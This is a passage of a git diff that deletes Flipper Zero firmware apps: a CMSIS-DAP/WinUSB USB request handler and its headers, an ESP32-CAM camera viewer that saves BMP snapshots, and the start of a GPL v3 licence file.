req->bmRequestType, - req->bRequest, - req->wValue, - req->wIndex, - req->wLength); - - if(((USB_REQ_RECIPIENT | USB_REQ_TYPE | USB_REQ_DIRECTION) & req->bmRequestType) == - (USB_REQ_STANDARD | USB_REQ_VENDOR | USB_REQ_DEVTOHOST)) { - // vendor request, device to host - furi_console_log_printf("vendor request"); - if(USB_WINUSB_VENDOR_CODE == req->bRequest) { - // WINUSB request - if(USB_WINUSB_DESCRIPTOR_INDEX == req->wIndex) { - furi_console_log_printf("WINUSB descriptor"); - uint16_t length = req->wLength; - if(length > sizeof(usb_msos_descriptor_set_t)) { - length = sizeof(usb_msos_descriptor_set_t); - } - - dev->status.data_ptr = (uint8_t*)&usb_msos_descriptor_set; - dev->status.data_count = length; - return usbd_ack; - } - } - } - - if(((USB_REQ_RECIPIENT | USB_REQ_TYPE) & req->bmRequestType) == - (USB_REQ_STANDARD | USB_REQ_DEVICE)) { - // device request - if(req->bRequest == USB_STD_GET_DESCRIPTOR) { - const uint8_t dtype = req->wValue >> 8; - const uint8_t dnumber = req->wValue & 0xFF; - // get string descriptor - if(USB_DTYPE_STRING == dtype) { - if(dnumber == USB_STR_CMSIS_DAP_V1) { - furi_console_log_printf("str CMSIS-DAP v1"); - dev->status.data_ptr = (uint8_t*)&dev_dap_v1_descr; - dev->status.data_count = dev_dap_v1_descr.bLength; - return usbd_ack; - } else if(dnumber == USB_STR_CMSIS_DAP_V2) { - furi_console_log_printf("str CMSIS-DAP v2"); - dev->status.data_ptr = (uint8_t*)&dev_dap_v2_descr; - dev->status.data_count = dev_dap_v2_descr.bLength; - return usbd_ack; - } else if(dnumber == USB_STR_COM_PORT) { - furi_console_log_printf("str COM port"); - dev->status.data_ptr = (uint8_t*)&dev_com_descr; - dev->status.data_count = dev_com_descr.bLength; - return usbd_ack; - } - } else if(USB_DTYPE_BINARY_OBJECT_STORE == dtype) { - furi_console_log_printf("BOS descriptor"); - uint16_t length = req->wLength; - if(length > sizeof(usb_bos_hierarchy_t)) { - length = sizeof(usb_bos_hierarchy_t); - } - dev->status.data_ptr = (uint8_t*)&usb_bos_hierarchy; - dev->status.data_count = length; - return usbd_ack; - } - } - } - - if(((USB_REQ_RECIPIENT | USB_REQ_TYPE) & req->bmRequestType) == - (USB_REQ_INTERFACE | USB_REQ_CLASS) && - req->wIndex == 0) { - // class request - switch(req->bRequest) { - // get hid descriptor - case USB_HID_GETREPORT: - furi_console_log_printf("get report"); - return usbd_fail; - // set hid idle - case USB_HID_SETIDLE: - furi_console_log_printf("set idle"); - return usbd_ack; - default: - break; - } - } - - if(((USB_REQ_RECIPIENT | USB_REQ_TYPE) & req->bmRequestType) == - (USB_REQ_INTERFACE | USB_REQ_CLASS) && - req->wIndex == 2) { - // class request - switch(req->bRequest) { - // control line state - case USB_CDC_SET_CONTROL_LINE_STATE: - furi_console_log_printf("set control line state"); - cdc_ctrl_line_state = req->wValue; - if(dap_state.control_line_callback_cdc != NULL) { - dap_state.control_line_callback_cdc(cdc_ctrl_line_state, dap_state.context_cdc); - } - return usbd_ack; - // set cdc line coding - case USB_CDC_SET_LINE_CODING: - furi_console_log_printf("set line coding"); - memcpy(&cdc_config, req->data, sizeof(cdc_config)); - if(dap_state.config_callback_cdc != NULL) { - dap_state.config_callback_cdc(&cdc_config, dap_state.context_cdc); - } - return usbd_ack; - // get cdc line coding - case USB_CDC_GET_LINE_CODING: - furi_console_log_printf("get line coding"); - dev->status.data_ptr = &cdc_config; - dev->status.data_count = sizeof(cdc_config); - return usbd_ack; - default: - break; - } - } - - if(((USB_REQ_RECIPIENT | USB_REQ_TYPE) & req->bmRequestType) == - (USB_REQ_INTERFACE | USB_REQ_STANDARD) && - req->wIndex == 0 && req->bRequest == USB_STD_GET_DESCRIPTOR) { - // standard request - switch(req->wValue >> 8) { - // get hid descriptor - case USB_DTYPE_HID: - furi_console_log_printf("get hid descriptor"); - dev->status.data_ptr = (uint8_t*)&(hid_cfg_desc.hid); - dev->status.data_count = sizeof(hid_cfg_desc.hid); - return usbd_ack; - // get hid report descriptor - case USB_DTYPE_HID_REPORT: - furi_console_log_printf("get hid report descriptor"); - dev->status.data_ptr = (uint8_t*)hid_report_desc; - dev->status.data_count = sizeof(hid_report_desc); - return usbd_ack; - default: - break; - } - } - - return usbd_fail; -} diff --git a/applications/external/dap_link/usb/dap_v2_usb.h b/applications/external/dap_link/usb/dap_v2_usb.h deleted file mode 100644 index 3f1534ffd..000000000 --- a/applications/external/dap_link/usb/dap_v2_usb.h +++ /dev/null @@ -1,53 +0,0 @@ -#pragma once -#include -#include - -extern FuriHalUsbInterface dap_v2_usb_hid; - -// receive callback type -typedef void (*DapRxCallback)(void* context); - -typedef void (*DapStateCallback)(bool state, void* context); - -/************************************ V1 ***************************************/ - -int32_t dap_v1_usb_tx(uint8_t* buffer, uint8_t size); - -size_t dap_v1_usb_rx(uint8_t* buffer, size_t size); - -void dap_v1_usb_set_rx_callback(DapRxCallback callback); - -/************************************ V2 ***************************************/ - -int32_t dap_v2_usb_tx(uint8_t* buffer, uint8_t size); - -size_t dap_v2_usb_rx(uint8_t* buffer, size_t size); - -void dap_v2_usb_set_rx_callback(DapRxCallback callback); - -/************************************ CDC **************************************/ - -typedef void (*DapCDCControlLineCallback)(uint8_t state, void* context); -typedef void (*DapCDCConfigCallback)(struct usb_cdc_line_coding* config, void* context); - -int32_t dap_cdc_usb_tx(uint8_t* buffer, uint8_t size); - -size_t dap_cdc_usb_rx(uint8_t* buffer, size_t size); - -void dap_cdc_usb_set_rx_callback(DapRxCallback callback); - -void dap_cdc_usb_set_control_line_callback(DapCDCControlLineCallback callback); - -void dap_cdc_usb_set_config_callback(DapCDCConfigCallback callback); - -void dap_cdc_usb_set_context(void* context); - -/*********************************** Common ************************************/ - -void dap_common_usb_set_context(void* context); - -void dap_common_usb_set_state_callback(DapStateCallback callback); - -void dap_common_usb_alloc_name(const char* name); - -void dap_common_usb_free_name(); diff --git a/applications/external/dap_link/usb/usb_winusb.h b/applications/external/dap_link/usb/usb_winusb.h deleted file mode 100644 index 9c3a172dc..000000000 --- a/applications/external/dap_link/usb/usb_winusb.h +++ /dev/null @@ -1,143 +0,0 @@ -#pragma once -#include - -/*- Definitions -------------------------------------------------------------*/ - -#define USB_PACK __attribute__((packed)) - -#define USB_WINUSB_VENDOR_CODE 0x20 - -#define USB_WINUSB_WINDOWS_VERSION 0x06030000 // Windows 8.1 - -#define USB_WINUSB_PLATFORM_CAPABILITY_ID \ - { \ - 0xdf, 0x60, 0xdd, 0xd8, 0x89, 0x45, 0xc7, 0x4c, 0x9c, 0xd2, 0x65, 0x9d, 0x9e, 0x64, 0x8a, \ - 0x9f \ - } - -enum // WinUSB Microsoft OS 2.0 descriptor request codes -{ - USB_WINUSB_DESCRIPTOR_INDEX = 0x07, - USB_WINUSB_SET_ALT_ENUMERATION = 0x08, -}; - -enum // wDescriptorType -{ - USB_WINUSB_SET_HEADER_DESCRIPTOR = 0x00, - USB_WINUSB_SUBSET_HEADER_CONFIGURATION = 0x01, - USB_WINUSB_SUBSET_HEADER_FUNCTION = 0x02, - USB_WINUSB_FEATURE_COMPATBLE_ID = 0x03, - USB_WINUSB_FEATURE_REG_PROPERTY = 0x04, - USB_WINUSB_FEATURE_MIN_RESUME_TIME = 0x05, - USB_WINUSB_FEATURE_MODEL_ID = 0x06, - USB_WINUSB_FEATURE_CCGP_DEVICE = 0x07, - USB_WINUSB_FEATURE_VENDOR_REVISION = 0x08, -}; - -enum // wPropertyDataType -{ - USB_WINUSB_PROPERTY_DATA_TYPE_SZ = 1, - USB_WINUSB_PROPERTY_DATA_TYPE_EXPAND_SZ = 2, - USB_WINUSB_PROPERTY_DATA_TYPE_BINARY = 3, - USB_WINUSB_PROPERTY_DATA_TYPE_DWORD_LITTLE_ENDIAN = 4, - USB_WINUSB_PROPERTY_DATA_TYPE_DWORD_BIG_ENDIAN = 5, - USB_WINUSB_PROPERTY_DATA_TYPE_LINK = 6, - USB_WINUSB_PROPERTY_DATA_TYPE_MULTI_SZ = 7, -}; - -/*- Types BOS -------------------------------------------------------------------*/ - -typedef struct USB_PACK { - uint8_t bLength; - uint8_t bDescriptorType; - uint16_t wTotalLength; - uint8_t bNumDeviceCaps; -} usb_binary_object_store_descriptor_t; - -/*- Types WinUSB -------------------------------------------------------------------*/ - -typedef struct USB_PACK { - uint8_t bLength; - uint8_t bDescriptorType; - uint8_t bDevCapabilityType; - uint8_t bReserved; - uint8_t PlatformCapabilityUUID[16]; - uint32_t dwWindowsVersion; - uint16_t wMSOSDescriptorSetTotalLength; - uint8_t bMS_VendorCode; - uint8_t bAltEnumCode; -} usb_winusb_capability_descriptor_t; - -typedef struct USB_PACK { - uint16_t wLength; - uint16_t wDescriptorType; - uint32_t dwWindowsVersion; - uint16_t wDescriptorSetTotalLength; -} usb_winusb_set_header_descriptor_t; - -typedef struct USB_PACK { - uint16_t wLength; - uint16_t wDescriptorType; - uint8_t bConfigurationValue; - uint8_t bReserved; - uint16_t wTotalLength; -} usb_winusb_subset_header_configuration_t; - -typedef struct USB_PACK { - uint16_t wLength; - uint16_t wDescriptorType; - uint8_t bFirstInterface; - uint8_t bReserved; - uint16_t wSubsetLength; -} usb_winusb_subset_header_function_t; - -typedef struct USB_PACK { - uint16_t wLength; - uint16_t wDescriptorType; - uint8_t CompatibleID[8]; - uint8_t SubCompatibleID[8]; -} usb_winusb_feature_compatble_id_t; - -typedef struct USB_PACK { - uint16_t wLength; - uint16_t wDescriptorType; - uint16_t wPropertyDataType; - //uint16_t wPropertyNameLength; - //uint8_t PropertyName[...]; - //uint16_t wPropertyDataLength - //uint8_t PropertyData[...]; -} usb_winusb_feature_reg_property_t; - -typedef struct USB_PACK { - uint16_t wLength; - uint16_t wDescriptorType; - uint16_t wPropertyDataType; - uint16_t wPropertyNameLength; - uint8_t PropertyName[42]; - uint16_t wPropertyDataLength; - uint8_t PropertyData[80]; -} usb_winusb_feature_reg_property_guids_t; - -typedef struct USB_PACK { - uint16_t wLength; - uint16_t wDescriptorType; - uint8_t bResumeRecoveryTime; - uint8_t bResumeSignalingTime; -} usb_winusb_feature_min_resume_time_t; - -typedef struct USB_PACK { - uint16_t wLength; - uint16_t wDescriptorType; - uint8_t ModelID[16]; -} usb_winusb_feature_model_id_t; - -typedef struct USB_PACK { - uint16_t wLength; - uint16_t wDescriptorType; -} usb_winusb_feature_ccgp_device_t; - -typedef struct USB_PACK { - uint16_t wLength; - uint16_t wDescriptorType; - uint16_t VendorRevision; -} usb_winusb_feature_vendor_revision_t; \ No newline at end of file diff --git a/applications/external/esp32cam_camera/application.fam b/applications/external/esp32cam_camera/application.fam deleted file mode 100644 index e8d5c7158..000000000 --- a/applications/external/esp32cam_camera/application.fam +++ /dev/null @@ -1,14 +0,0 @@ -App( - appid="mayhem_camera", - name="[MAYHEM] Camera", - apptype=FlipperAppType.EXTERNAL, - entry_point="camera_app", - cdefines=["APP_CAMERA"], - requires=["gui"], - stack_size=8 * 1024, - fap_icon="icon.png", - fap_category="GPIO", - fap_description="ESP32-CAM live feed and photo capture, use left/right for orientation/mode, up/down for brightness and center for saving a screenshot. [Unplug the USB cable to test with Mayhem]", - fap_author="Z4urce", - fap_weburl="https://github.com/Z4urce/flipper-camera", -) diff --git a/applications/external/esp32cam_camera/camera.c b/applications/external/esp32cam_camera/camera.c deleted file mode 100644 index cc740715f..000000000 --- a/applications/external/esp32cam_camera/camera.c +++ /dev/null @@ -1,310 +0,0 @@ -#include "camera.h" - -static void camera_view_draw_callback(Canvas* canvas, void* _model) { - UartDumpModel* model = _model; - - // Prepare canvas - //canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - canvas_draw_frame(canvas, 0, 0, FRAME_WIDTH, FRAME_HEIGTH); - - for(size_t p = 0; p < FRAME_BUFFER_LENGTH; ++p) { - uint8_t x = p % ROW_BUFFER_LENGTH; // 0 .. 15 - uint8_t y = p / ROW_BUFFER_LENGTH; // 0 .. 63 - - for(uint8_t i = 0; i < 8; ++i) { - if((model->pixels[p] & (1 << (7 - i))) != 0) { - canvas_draw_dot(canvas, (x * 8) + i, y); - } - } - } - - if(!model->initialized) { - /*if(!model->marauderInitialized) - { - // Init marauder into stream mode - uint8_t data[] = "\nstream\n"; - furi_hal_uart_tx(FuriHalUartIdUSART1, data, sizeof(data)); - }*/ - - canvas_draw_icon(canvas, 74, 16, &I_DolphinCommon_56x48); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 8, 12, "Waiting ESP32-CAM..."); - canvas_draw_str(canvas, 20, 24, "VCC - 3V3/5V"); - canvas_draw_str(canvas, 20, 34, "GND - GND"); - canvas_draw_str(canvas, 20, 44, "U0R - TX"); - canvas_draw_str(canvas, 20, 54, "U0T - RX"); - } -} - -void get_timefilename(FuriString* name) { - FuriHalRtcDateTime datetime = {0}; - furi_hal_rtc_get_datetime(&datetime); - furi_string_printf( - name, - APP_DATA_PATH("%.4d%.2d%.2d-%.2d%.2d%.2d.bmp"), - datetime.year, - datetime.month, - datetime.day, - datetime.hour, - datetime.minute, - datetime.second); -} - -static void save_image(void* context) { - UartEchoApp* app = context; - furi_assert(app); - - NotificationApp* notifications = furi_record_open(RECORD_NOTIFICATION); - - // We need a storage struct (gain accesso to the filesystem API ) - Storage* storage = furi_record_open(RECORD_STORAGE); - - // storage_file_alloc gives to us a File pointer using the Storage API. - File* file = storage_file_alloc(storage); - - if(storage_common_stat(storage, IMAGE_FILE_DIRECTORY_PATH, NULL) == FSE_NOT_EXIST) { - storage_simply_mkdir(storage, IMAGE_FILE_DIRECTORY_PATH); - } - - // create file name - FuriString* file_name = furi_string_alloc(); - get_timefilename(file_name); - - // this functions open a file, using write access and creates new file if not exist. - bool result = - storage_file_open(file, furi_string_get_cstr(file_name), FSAM_WRITE, FSOM_OPEN_ALWAYS); - //bool result = storage_file_open(file, EXT_PATH("DCIM/test.bmp"), FSAM_WRITE, FSOM_OPEN_ALWAYS); - furi_string_free(file_name); - - if(result) { - storage_file_write(file, bitmap_header, BITMAP_HEADER_LENGTH); - with_view_model( - app->view, - UartDumpModel * model, - { - int8_t row_buffer[ROW_BUFFER_LENGTH]; - for(size_t i = 64; i > 0; --i) { - for(size_t j = 0; j < ROW_BUFFER_LENGTH; ++j) { - row_buffer[j] = model->pixels[((i - 1) * ROW_BUFFER_LENGTH) + j]; - } - storage_file_write(file, row_buffer, ROW_BUFFER_LENGTH); - } - }, - false); - } - - // Closing the "file descriptor" - storage_file_close(file); - - // Freeing up memory - storage_file_free(file); - - notification_message(notifications, result ? &sequence_success : &sequence_error); -} - -static bool camera_view_input_callback(InputEvent* event, void* context) { - if(event->type == InputTypePress) { - uint8_t data[1]; - if(event->key == InputKeyUp) { - data[0] = 'C'; - } else if(event->key == InputKeyDown) { - data[0] = 'c'; - } else if(event->key == InputKeyRight) { - data[0] = '>'; - } else if(event->key == InputKeyLeft) { - data[0] = '<'; - } else if(event->key == InputKeyOk) { - save_image(context); - } - furi_hal_uart_tx(FuriHalUartIdUSART1, data, 1); - } - - return false; -} - -static uint32_t camera_exit(void* context) { - UNUSED(context); - return VIEW_NONE; -} - -static void camera_on_irq_cb(UartIrqEvent ev, uint8_t data, void* context) { - furi_assert(context); - UartEchoApp* app = context; - - if(ev == UartIrqEventRXNE) { - furi_stream_buffer_send(app->rx_stream, &data, 1, 0); - furi_thread_flags_set(furi_thread_get_id(app->worker_thread), WorkerEventRx); - } -} - -static void process_ringbuffer(UartDumpModel* model, uint8_t byte) { - //// 1. Phase: filling the ringbuffer - if(model->ringbuffer_index == 0 && byte != 'Y') { // First char has to be 'Y' in the buffer. - return; - } - - if(model->ringbuffer_index == 1 && - byte != ':') { // Second char has to be ':' in the buffer or reset. - model->ringbuffer_index = 0; - process_ringbuffer(model, byte); - return; - } - - model->row_ringbuffer[model->ringbuffer_index] = - byte; // Assign current byte to the ringbuffer; - ++model->ringbuffer_index; // Increment the ringbuffer index - - if(model->ringbuffer_index < RING_BUFFER_LENGTH) { // Let's wait 'till the buffer fills. - return; - } - - //// 2. Phase: flushing the ringbuffer to the framebuffer - model->ringbuffer_index = 0; // Let's reset the ringbuffer - model->initialized = true; // We've successfully established the connection - size_t row_start_index = - model->row_ringbuffer[2] * ROW_BUFFER_LENGTH; // Third char will determine the row number - - if(row_start_index > LAST_ROW_INDEX) { // Failsafe - row_start_index = 0; - } - - for(size_t i = 0; i < ROW_BUFFER_LENGTH; ++i) { - model->pixels[row_start_index + i] = - model->row_ringbuffer[i + 3]; // Writing the remaining 16 bytes into the frame buffer - } -} - -static int32_t camera_worker(void* context) { - furi_assert(context); - UartEchoApp* app = context; - - while(1) { - uint32_t events = - furi_thread_flags_wait(WORKER_EVENTS_MASK, FuriFlagWaitAny, FuriWaitForever); - furi_check((events & FuriFlagError) == 0); - - if(events & WorkerEventStop) break; - if(events & WorkerEventRx) { - size_t length = 0; - do { - size_t intended_data_size = 64; - uint8_t data[intended_data_size]; - length = furi_stream_buffer_receive(app->rx_stream, data, intended_data_size, 0); - - if(length > 0) { - //furi_hal_uart_tx(FuriHalUartIdUSART1, data, length); - with_view_model( - app->view, - UartDumpModel * model, - { - for(size_t i = 0; i < length; i++) { - process_ringbuffer(model, data[i]); - } - }, - false); - } - } while(length > 0); - - notification_message(app->notification, &sequence_notification); - with_view_model( - app->view, UartDumpModel * model, { UNUSED(model); }, true); - } - } - - return 0; -} - -static UartEchoApp* camera_app_alloc() { - UartEchoApp* app = malloc(sizeof(UartEchoApp)); - - app->rx_stream = furi_stream_buffer_alloc(2048, 1); - - // Gui - app->gui = furi_record_open(RECORD_GUI); - app->notification = furi_record_open(RECORD_NOTIFICATION); - - // View dispatcher - app->view_dispatcher = view_dispatcher_alloc(); - view_dispatcher_enable_queue(app->view_dispatcher); - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - // Views - app->view = view_alloc(); - view_set_context(app->view, app); - view_set_draw_callback(app->view, camera_view_draw_callback); - view_set_input_callback(app->view, camera_view_input_callback); - view_allocate_model(app->view, ViewModelTypeLocking, sizeof(UartDumpModel)); - - with_view_model( - app->view, - UartDumpModel * model, - { - for(size_t i = 0; i < FRAME_BUFFER_LENGTH; i++) { - model->pixels[i] = 0; - } - }, - true); - - view_set_previous_callback(app->view, camera_exit); - view_dispatcher_add_view(app->view_dispatcher, 0, app->view); - view_dispatcher_switch_to_view(app->view_dispatcher, 0); - - app->worker_thread = furi_thread_alloc_ex("UsbUartWorker", 2048, camera_worker, app); - furi_thread_start(app->worker_thread); - - // Enable uart listener - furi_hal_console_disable(); - furi_hal_uart_set_br(FuriHalUartIdUSART1, 230400); - furi_hal_uart_set_irq_cb(FuriHalUartIdUSART1, camera_on_irq_cb, app); - - furi_hal_power_disable_external_3_3v(); - furi_hal_power_disable_otg(); - furi_delay_ms(200); - furi_hal_power_enable_external_3_3v(); - furi_hal_power_enable_otg(); - for(int i = 0; i < 2; i++) { - furi_delay_ms(500); - furi_hal_uart_tx(FuriHalUartIdUSART1, (uint8_t[1]){'c'}, 1); - } - furi_delay_ms(1); - return app; -} - -static void camera_app_free(UartEchoApp* app) { - furi_assert(app); - - furi_hal_console_enable(); // this will also clear IRQ callback so thread is no longer referenced - - furi_thread_flags_set(furi_thread_get_id(app->worker_thread), WorkerEventStop); - furi_thread_join(app->worker_thread); - furi_thread_free(app->worker_thread); - - // Free views - view_dispatcher_remove_view(app->view_dispatcher, 0); - - view_free(app->view); - view_dispatcher_free(app->view_dispatcher); - - // Close gui record - furi_record_close(RECORD_GUI); - furi_record_close(RECORD_NOTIFICATION); - app->gui = NULL; - - furi_stream_buffer_free(app->rx_stream); - - // Free rest - free(app); -} - -int32_t camera_app(void* p) { - UNUSED(p); - - UartEchoApp* app = camera_app_alloc(); - view_dispatcher_run(app->view_dispatcher); - camera_app_free(app); - - furi_hal_power_disable_otg(); - - return 0; -} diff --git a/applications/external/esp32cam_camera/camera.h b/applications/external/esp32cam_camera/camera.h deleted file mode 100644 index 55b4e7af2..000000000 --- a/applications/external/esp32cam_camera/camera.h +++ /dev/null @@ -1,100 +0,0 @@ -// TODO -// (DONE) Fix performance when not being charged -// (DONE) Add UART command parsing to Esp32 -// (DONE) Prepare application and icon on github -// (DONE) Write snapshots to SD card -// 5. Set a constant refresh rate to the Flipper's display -// 6. Emulate grayscale -// 7. Photo browser app - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#define THREAD_ALLOC 2048 - -#define FRAME_WIDTH 128 -#define FRAME_HEIGTH 64 -#define FRAME_BIT_DEPTH 1 -#define FRAME_BUFFER_LENGTH \ - (FRAME_WIDTH * FRAME_HEIGTH * FRAME_BIT_DEPTH / 8) // 128*64*1 / 8 = 1024 -#define ROW_BUFFER_LENGTH (FRAME_WIDTH / 8) // 128/8 = 16 -#define LAST_ROW_INDEX (FRAME_BUFFER_LENGTH - ROW_BUFFER_LENGTH) // 1024 - 16 = 1008 -#define RING_BUFFER_LENGTH (ROW_BUFFER_LENGTH + 3) // ROW_BUFFER_LENGTH + Header => 16 + 3 = 19 -#define BITMAP_HEADER_LENGTH 62 -#define IMAGE_FILE_DIRECTORY_PATH EXT_PATH("DCIM") - -static const unsigned char bitmap_header[BITMAP_HEADER_LENGTH] = { - 0x42, 0x4D, 0x3E, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x00, 0x00, 0x00, 0x28, 0x00, - 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x00}; - -const uint8_t _I_DolphinCommon_56x48_0[] = { - 0x01, 0x00, 0xdf, 0x00, 0x00, 0x1f, 0xfe, 0x0e, 0x05, 0x3f, 0x04, 0x06, 0x78, 0x06, 0x30, 0x20, - 0xf8, 0x00, 0xc6, 0x12, 0x1c, 0x04, 0x0c, 0x0a, 0x38, 0x08, 0x08, 0x0c, 0x60, 0xc0, 0x21, 0xe0, - 0x04, 0x0a, 0x18, 0x02, 0x1b, 0x00, 0x18, 0xa3, 0x00, 0x21, 0x90, 0x01, 0x8a, 0x20, 0x02, 0x19, - 0x80, 0x18, 0x80, 0x64, 0x09, 0x20, 0x89, 0x81, 0x8c, 0x3e, 0x41, 0xe2, 0x80, 0x50, 0x00, 0x43, - 0x08, 0x01, 0x0c, 0xfc, 0x68, 0x40, 0x61, 0xc0, 0x50, 0x30, 0x00, 0x63, 0xa0, 0x7f, 0x80, 0xc4, - 0x41, 0x19, 0x07, 0xff, 0x02, 0x06, 0x18, 0x24, 0x03, 0x41, 0xf3, 0x2b, 0x10, 0x19, 0x38, 0x10, - 0x30, 0x31, 0x7f, 0xe0, 0x34, 0x08, 0x30, 0x19, 0x60, 0x80, 0x65, 0x86, 0x0a, 0x4c, 0x0c, 0x30, - 0x81, 0xb9, 0x41, 0xa0, 0x54, 0x08, 0xc7, 0xe2, 0x06, 0x8a, 0x18, 0x25, 0x02, 0x21, 0x0f, 0x19, - 0x88, 0xd8, 0x6e, 0x1b, 0x01, 0xd1, 0x1b, 0x86, 0x39, 0x66, 0x3a, 0xa4, 0x1a, 0x50, 0x06, 0x48, - 0x18, 0x18, 0xd0, 0x03, 0x01, 0x41, 0x98, 0xcc, 0x60, 0x39, 0x01, 0x49, 0x2d, 0x06, 0x03, 0x50, - 0xf8, 0x40, 0x3e, 0x02, 0xc1, 0x82, 0x86, 0xc7, 0xfe, 0x0f, 0x28, 0x2c, 0x91, 0xd2, 0x90, 0x9a, - 0x18, 0x19, 0x3e, 0x6d, 0x73, 0x12, 0x16, 0x00, 0x32, 0x49, 0x72, 0xc0, 0x7e, 0x5d, 0x44, 0xba, - 0x2c, 0x08, 0xa4, 0xc8, 0x82, 0x06, 0x17, 0xe0, 0x81, 0x90, 0x2a, 0x40, 0x61, 0xe1, 0xa2, 0x44, - 0x0c, 0x76, 0x2b, 0xe8, 0x89, 0x26, 0x43, 0x83, 0x31, 0x8c, 0x78, 0x0c, 0xb0, 0x48, 0x10, 0x1a, - 0xe0, 0x00, 0x63, -}; -const uint8_t* const _I_DolphinCommon_56x48[] = {_I_DolphinCommon_56x48_0}; -const Icon I_DolphinCommon_56x48 = { - .width = 56, - .height = 48, - .frame_count = 1, - .frame_rate = 0, - .frames = _I_DolphinCommon_56x48}; - -typedef struct UartDumpModel UartDumpModel; - -typedef struct { - Gui* gui; - NotificationApp* notification; - ViewDispatcher* view_dispatcher; - View* view; - FuriThread* worker_thread; - FuriStreamBuffer* rx_stream; -} UartEchoApp; - -struct UartDumpModel { - uint8_t pixels[FRAME_BUFFER_LENGTH]; - - bool initialized; - //bool marauderInitialized; - uint8_t row_ringbuffer[RING_BUFFER_LENGTH]; - uint8_t ringbuffer_index; -}; - -typedef enum { - WorkerEventReserved = (1 << 0), // Reserved for StreamBuffer internal event - WorkerEventStop = (1 << 1), - WorkerEventRx = (1 << 2), -} WorkerEventFlags; - -#define WORKER_EVENTS_MASK (WorkerEventStop | WorkerEventRx) - -const NotificationSequence sequence_notification = { - &message_display_backlight_on, - &message_delay_10, - NULL, -}; \ No newline at end of file diff --git a/applications/external/esp32cam_camera/icon.png b/applications/external/esp32cam_camera/icon.png deleted file mode 100644 index 75bbd0257..000000000 Binary files a/applications/external/esp32cam_camera/icon.png and /dev/null differ diff --git a/applications/external/esp32cam_marauder_companion/LICENSE b/applications/external/esp32cam_marauder_companion/LICENSE deleted file mode 100644 index f288702d2..000000000 --- a/applications/external/esp32cam_marauder_companion/LICENSE +++ /dev/null @@ -1,674 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component 